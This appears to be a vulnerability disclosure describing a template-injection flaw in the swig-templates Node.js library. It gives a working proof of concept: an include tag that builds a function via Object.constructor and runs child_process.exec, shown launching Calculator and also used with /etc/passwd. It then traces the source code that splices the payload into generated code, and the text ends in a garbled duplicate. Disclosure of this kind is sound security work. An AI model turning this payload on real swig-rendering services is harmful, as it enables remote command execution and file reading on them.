official doc
poc
tpl.html
You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
run.js
var swig = require('swig-templates');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);
the code above will execute open -a Calculator.app command

gif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif
Reason
include.js will do some code splicing
|
return ( |
|
(ignore ? ' try {\n' : '') + |
|
'_output += _swig.compileFile(' + |
|
file + |
|
', {' + |
|
'resolveFrom: "' + |
|
parentFile + |
|
'"' + |
|
'})(' + |
|
(onlyCtx && w ? w : !w ? '_ctx' : '_utils.extend({}, _ctx, ' + w + ')') + |
|
');\n' + |
|
(ignore ? '} catch (e) {}\n' : '') |
|
) |
|
} |
the return value will be added to var out
|
o = token.compile( |
|
exports.compile, |
|
token.args ? token.args.slice(0) : [], |
|
token.content ? token.content.slice(0) : [], |
|
parents, |
|
options, |
|
blockName |
|
) |
|
out += o || '' |
finally the value of out:
_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx, + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));
the out will be used to make an anonymous function, and then call the function

if you debug in detail, you will find that it will call the following anonymous funciton:
(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})
official doc
poc
tpl.html
run.js
the code above will execute

open -a Calculator.appcommandgif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif
Reason
include.js will do some code splicing
swig-templates/lib/tags/include.js
Lines 39 to 52 in 313bed1
the return value will be added to var
outswig-templates/lib/parser.js
Lines 891 to 899 in 313bed1
finally the value of
out:the

outwill be used to make an anonymous function, and then call the functionif you debug in detail, you will find that it will
callthe following anonymous funciton: